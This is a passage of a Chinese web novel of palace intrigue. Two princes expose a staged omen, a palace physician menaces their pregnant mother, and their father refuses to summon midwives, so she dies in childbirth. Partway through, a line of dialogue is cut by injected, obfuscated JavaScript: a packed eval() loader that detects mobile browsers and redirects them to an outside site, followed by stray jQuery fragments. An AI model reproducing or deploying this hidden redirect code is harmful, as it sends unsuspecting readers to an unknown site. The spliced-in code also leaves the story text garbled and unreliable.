两兄弟皆心细干练,李瞻很快通过商队查到,所谓五色祥云,并非偶然。
而是有人事先放了明矾和染料,故意等王妃靠近时燃放,作出了五色祥云的效果。
李玄安去查当日在场的百姓,他找到了几人,这些人先是异口同声的说并不知晓此事,看到来人拿出王府的腰牌,生怕惹事,才老实招供。
当日他们所说的那些话并非自发,而是事先有人给了他们一人五百钱,让他们说这几句吉祥话罢了。
看到王府之人找上门,这些人生怕惹事上身,战战兢兢,将剩余的钱拿了出来。
李瞻望着铜钱,双眸微眯。
他认得出,这是宫中今年年初所制的新钱,为求新春吉利,都是宫中采买,贵胄重臣府中先用。
散发新钱,此人定然非富即贵。
幕后之人不是宫中之人,便是贵胄高门。-
李玄安摇头苦笑道:“陛下能容我们,那些和陛下一起夺位的功臣,却对我们日夜忌惮,恨不能斩草除根。”
这些功臣都是豁出身家性命,和皇帝一起夺位的。
他们自然忌惮太子重掌权势,引来抄家灭族之祸。
这些人策划了此事,再传到皇帝耳中,皇帝听到市井谣言,自然忍无可忍。
李瞻沉吟道:“他们能装神弄鬼让陛下对我们生间隙,我们就拆穿他们的诡计,陛下放下戒心,卢太医此事,也就迎刃而解了。”并非天赋异禀,只不过是街头杂耍罢了。
李瞻拿出一笔不菲的钱财,悄然购置了不少明矾和染料,并派人教会京城市井街头的各色卖艺戏班子。
一时间,长安大街小巷,都是上演五色祥云表演的。
只要五钱,就能享受祥云围绕,飘飘欲仙之感。
长安百姓起初还有几分兴趣,到了最后,大家都甚是疲惫,别说五钱,不花钱都没人去体验。
五色祥云从大贵之相,到人人见怪不怪,也不过半个月时辰……
此事在长安传得沸沸扬扬。
“那五色祥云看着唬人,其实就是杂耍罢了……”
“我就知道是调出来的颜料罢了,卖艺戏班子的小把戏,糊弄谁呢……”
“若如此便是贵不可言,那这条街上的阿猫阿狗都能当贵人……”
流言如李瞻所愿,甚嚣尘上,定然传到了宫中。
可卢瑞仍然留在了庐王府,暗中在做的勾当,也从未停手。
更可怕的是,李太医暗中调换药包等事已被他察觉,卢瑞竟然还私下找到李太医,直截了当,说他是奉命而来,并让李太医少掺和皇家之事。
卢瑞神情甚是倨傲,似乎丝毫不怕李太医将此事捅出。
“欺人太甚!”李玄安握拳砸向桌案,半晌后叹息道:“事已至此,我们还是让父王去一趟宫中,将此事禀明圣上吧。”
说罢,李玄安又轻轻咳了起来。
李瞻眸中露出沉思之色。
他本以为谣言不攻自破,宫中就会渐渐收手。
可如今丝毫不曾有收手迹象。
看来……陛下心中是真的生了芥蒂……
父皇贸然进宫陈情,真的能得来他们期盼的结果吗?
急促的声音打断了李瞻的沉思,小跑而来,急道:“殿下,不好了……李太医不告而别了,只留下这一封书信,一家人前夜便已连夜出京了……”
李瞻心中一颤,打开书信。
“殿下,见字如面,如今朝廷起伏纷争万分凶险,臣年迈体弱,实难侍奉,特带一家老小回乡苟度残年,王妃如今脉象平稳,离临盆之期还有两月,臣听闻民间多有妙手郎中,可在回春阁广采良医为王妃接生,臣心念旧主,然心有余力不足,殿下勿怪。”
纸笺飘落在地。
李玄安捡起纸笺看罢,不由叹息一声。
他不怪李太医。
这些时日,他和卢瑞周旋,想必也甚是为难。
李太医既不想害旧主,也不愿得罪当权者,只剩避去乡下这一条路了……
李玄安道:“当务之急还是要先去民间寻个靠谱的接生稳婆……此事还是要禀告父王……”
李瞻沉思:“无论如何,卢瑞都不能留在府中——我们如今证据齐备,父王若能当面向陛下陈情,陛下定然会召回此人……”
两兄弟正在讨论,忽瞧见王妃身边的侍女急匆匆跑来,面色苍白道:“殿下,殿下……王妃动了胎气,马上就要生了……”
两人登时起身,大步朝王妃居所赶去。
还未进院门,已能听闻王妃压抑的痛呼,李瞻心头一震,不由自主喊道:“母亲,母亲……”
“殿下,您不能进去……”管事的姑姑和几个内监忙拦住李瞻:“殿下进去也无用,当务之急,还是要请来靠谱之人为王妃接生啊……”
李瞻冷静下来,面色沉凝:“卢太医呢?”
几人面面相觑了一瞬:“方才王妃受惊时,就是和他同在一处,王妃受惊胎动,我们都忙着去看王妃,谁也没留意他去了何处……”
李瞻道:“通传王府护卫兵士,卢瑞谋害王妃,残害皇家子嗣,看到此人,立刻就地绑了关押!”
众人一怔,回过神后,立刻应了。
李瞻神色凝重的吩咐:“寒月紫霜,你们几人带着这些宫人,去整个王府寻生产过的妇人嬷嬷来照看王妃,不拘是灶上的二门外的,都可请来,你们几个会骑马的小厮,立刻去市井上请稳婆——”
李瞻吩咐好众人,立刻大步赶去父王住处。
庐王正在房中踱步,他早已知晓王妃临盆的消息,甚至,知晓了王妃突然受惊的原因。
李太医骤然告老返乡,王妃自然生疑。
再加上今日尝了卢太医的药,觉得比往常的味道重了许多,于是派人传卢太医问话。
谁知卢太医直接便道:“王妃,臣今日熬的药才是适合您喝的,之前李太医自作主张,把臣的药减量了。”
王妃愈发疑惑:“那他为何要减量?”
卢太医笑吟吟道:“自然觉得臣这法子,有伤您腹中胎儿,但是王妃,臣是宫中派来为您诊治的太医,是保您腹中的这一个,还是保全整个王府,想必王妃自有决断……”
王妃听了这话大惊之下,骤然临产。
庐王知晓宫中竟如此行事,一时全身发冷,惊恐万状……
“父王……”李瞻大步走近殿中:“父王,母亲受惊提前生产,您快去旁的王府或是官员府叫两个接生的太医郎中来……”
庐王已经整理好了思绪,站起身道:“妇人生产也是常事,你母妃生下了你,如今已是二胎,再说宫中特派来太医为王妃安胎,何必去寻旁人……”
“卢太医想害我母妃,如今人已经不见了。”李瞻焦灼道:“父王,也不知那宫女小厮们何时能寻来郎中,您还是赶紧去各大王府看看吧……”
“没有证据,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411780|167729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
休要胡言。”庐王面色苍白:“宫中派太医来,我们如此猜想,传出去倒是有负圣恩了。”
“父王,儿臣已有确凿证据,证明卢太医有心害王妃。”李玄安跪地,把二人搜集的证据,还有李太医告老还乡的书信一并奉给庐王,并简短地讲来龙去脉讲了:“父王,请您莫再迟疑,速速主持大局,护好王妃和未出世的弟弟妹妹。”
“原来如此……”庐王叹息,喃喃道:“原来竟是宫中要他的命……”
“父王……”李瞻急道:“陛下也是受了蒙蔽,儿子已将五色祥云之事查清楚了,待母亲平安后,我们一家人可进宫向陛下禀明此事来龙去脉……父王……”
庐王蹒跚走了两步,缓缓道:“陛下如此做……是认准了这孩子身怀天命啊,若他降生在我府,我们整个府,恐怕都要为他陪葬。”
李瞻心中升起寒意,坚声道:“父王,那都是无稽之谈,所谓天降异象,皆是民间杂耍把戏,儿子已经搜集好了证据,您事后可以和儿子一起去面圣……”
“这是圣上的试探,岂是我们能解释清楚的?”庐王沉痛闭眸,声音无力而疲惫:“既是试探,我们就该按兵不动,方可让陛下放下戒心啊……”
此刻,窗外一阵喧哗,那些要去民间请郎中稳婆的小厮们,都被王府侍卫拦下。
李瞻不可置信的望向庐王,眸中含泪:“父王,人皆有恻隐之心,就算是旁人生产遇险,也不能不顾,更何况是自己的妻儿,难道父王要眼睁睁的看着母妃……”
“你闭嘴!”庐王突然暴怒而起:“你闭嘴!你知晓什么——如今府中是什么境地?!全王府的人都小心翼翼,唯恐惹祸上身,一个未出世的孩子,只是一个未出世的孩子啊,凭什么因为他,就要全府人冒险?!我要保全王府,保全一家几千口性命!”
李玄安艰难道:“父王……”
李瞻起身,定定望了庐王一眼,转身离去。
“拦住他!”庐王望着儿子背影,冷冷道:“竟敢口出狂言诋毁宫中太医,给本王绑了他!”
几个侍卫面露为难,但还是上前拦下李瞻。
李瞻抽出佩剑,拔剑击柱,殿内侧柱轰然断裂,摇摇欲坠。
李瞻脚步未停,大步朝王妃宫中走去。
“殿下……殿下……”王妃宫中的管事宫女满脸泪痕,低声道:“王妃薨了……”
李瞻面色苍白,一字一句道:“你说什么?”
“王妃骤然生产,胎位不正,已薨了……”宫女跪地,低声哭泣:“未出世的小主子,也随王妃一同去了……”
李瞻方才神挡杀神,此刻却宛若被雷劈中,手腕登时脱力,长剑坠落在地。
庐王面色惨白,颓然倒在椅上。
李瞻走到殿外。
他全身的力气都散开了,抬起沉重的脚步,一步一步,向前走着。
却不知要走去何方。
下雨了。
雨水拍在脸上,和泪水混淆在一处,雨声呼啸,和呜咽糅杂。
这一世,他明明掌握了证据,却还是逃不过上一世的结局。
他救不了他的母亲。
不是因为没掌握证据,而是因为没掌控权力。
风声,雨声,天地浩渺,不辨东西。
雨雾里,母亲的脸,父亲的脸,以及很多未曾见过的面孔,闪烁不定。
在这场快把自己淹没的大雨里,李瞻忆起了前世之事的全貌。